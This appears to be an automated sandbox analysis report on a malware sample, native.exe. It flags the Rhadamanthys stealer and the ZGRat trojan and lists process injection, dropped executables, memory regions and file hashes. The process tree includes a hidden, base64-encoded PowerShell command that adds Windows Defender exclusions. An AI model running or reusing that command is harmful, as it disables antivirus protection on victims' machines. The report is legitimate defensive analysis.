Analysis

  • max time kernel
    82s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/03/2024, 02:42

General

  • Target
    native.exe
  • Size 5.3MB
  • Sample240331-c65geach44
  • SHA256 432747c04ab478a654328867d7ca806b52fedf1572c74712fa8b7c0edb71df67
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detect ZGRat V1 36 IoCs
  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2636
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:3888
    • C:\Users\Admin\AppData\Local\Temp\native.exe
      "C:\Users\Admin\AppData\Local\Temp\native.exe"
      1⤵
      • Checks computer location settings
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1264
      • C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe
        "C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3360
        • C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe
          "C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe"
          3⤵
            PID:548
        • C:\Users\Admin\AppData\Local\Temp\native.exe
          "C:\Users\Admin\AppData\Local\Temp\native.exe"
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2356
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 444
            3⤵
            • Program crash
            PID:3168
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 448
            3⤵
            • Program crash
            PID:2360
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2356 -ip 2356
        1⤵
          PID:4940
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2356 -ip 2356
          1⤵
            PID:3060
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVABhAGcAcwAuAGUAeABlADsA
            1⤵
              PID:1228

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  BLHisbnd.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\BLHisbnd.exe.log
                  • Size 716B
                  • SHA256 3be33b92192f6b439c3b03172670dfd25018b775a0de1bde5f1e81e22a49ab20
                  • MD5 SHA1 SHA512

                  BLHisbnd.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe
                  • Size 3.4MB
                  • SHA256 407e9094206a37707a368f4cd0103269c50b8c0c03edba87b4f20664d259f207
                  • MD5 SHA1 SHA512 SSDEEP

                  __PSScriptPolicyTest_rmfekql3.mmk.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rmfekql3.mmk.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512

                  memory/548-9817-0x0000000005130000-0x0000000005218000-memory.dmp

                  memory/548-12038-0x00000000743D0000-0x0000000074B80000-memory.dmp

                  memory/548-12036-0x00000000055A0000-0x0000000005606000-memory.dmp

                  memory/548-12034-0x00000000052C0000-0x00000000052C8000-memory.dmp

                  memory/548-12035-0x00000000052D0000-0x0000000005326000-memory.dmp

                  memory/548-9818-0x00000000743D0000-0x0000000074B80000-memory.dmp

                  memory/548-9819-0x0000000005120000-0x0000000005130000-memory.dmp

                  memory/548-9815-0x0000000000400000-0x00000000004AC000-memory.dmp

                  memory/1228-12050-0x000001E9F2990000-0x000001E9F29A0000-memory.dmp

                  memory/1228-12051-0x000001E9F2990000-0x000001E9F29A0000-memory.dmp

                  memory/1228-12048-0x000001E9F4F00000-0x000001E9F4F22000-memory.dmp

                  memory/1228-12049-0x00007FF854CD0000-0x00007FF855791000-memory.dmp

                  memory/1228-12054-0x00007FF854CD0000-0x00007FF855791000-memory.dmp

                  memory/1264-2019-0x00000000743D0000-0x0000000074B80000-memory.dmp

                  memory/1264-4902-0x0000000007800000-0x0000000007854000-memory.dmp

                  memory/1264-32-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-34-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-36-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-38-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-40-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-42-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-44-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-46-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-48-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-50-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-52-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-54-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-56-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-58-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-60-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-62-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-64-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-66-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-0-0x00000000743D0000-0x0000000074B80000-memory.dmp

                  memory/1264-4884-0x0000000005970000-0x0000000005980000-memory.dmp

                  memory/1264-4885-0x0000000001380000-0x0000000001381000-memory.dmp

                  memory/1264-4886-0x0000000007310000-0x00000000075FC000-memory.dmp

                  memory/1264-4887-0x0000000001410000-0x000000000145C000-memory.dmp

                  memory/1264-28-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-1-0x0000000000A60000-0x0000000000FBA000-memory.dmp

                  memory/1264-2-0x0000000005AC0000-0x0000000005F70000-memory.dmp

                  memory/1264-4901-0x0000000008580000-0x0000000008B24000-memory.dmp

                  memory/1264-30-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-4908-0x00000000743D0000-0x0000000074B80000-memory.dmp

                  memory/1264-3-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-4-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-6-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-8-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-10-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-12-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-14-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-16-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-18-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-20-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-22-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-24-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/1264-26-0x0000000005AC0000-0x0000000005F6B000-memory.dmp

                  memory/2356-5108-0x0000000004350000-0x0000000004750000-memory.dmp

                  memory/2356-4910-0x0000000000400000-0x000000000046D000-memory.dmp

                  memory/2356-5054-0x0000000004350000-0x0000000004750000-memory.dmp

                  memory/2356-5057-0x0000000004350000-0x0000000004750000-memory.dmp

                  memory/3360-9816-0x00000000743D0000-0x0000000074B80000-memory.dmp

                  memory/3360-6574-0x00000000743D0000-0x0000000074B80000-memory.dmp

                  memory/3360-9808-0x0000000005650000-0x0000000005660000-memory.dmp

                  memory/3360-9809-0x0000000005B70000-0x0000000005B71000-memory.dmp

                  memory/3360-9810-0x0000000005CE0000-0x0000000005DD4000-memory.dmp

                  memory/3360-4906-0x0000000005660000-0x0000000005918000-memory.dmp

                  memory/3360-4900-0x00000000743D0000-0x0000000074B80000-memory.dmp

                  memory/3360-4899-0x0000000000A40000-0x0000000000DA0000-memory.dmp

                  memory/3888-5093-0x0000000002330000-0x0000000002730000-memory.dmp

                  memory/3888-5074-0x0000000002330000-0x0000000002730000-memory.dmp

                  memory/3888-5071-0x0000000002330000-0x0000000002730000-memory.dmp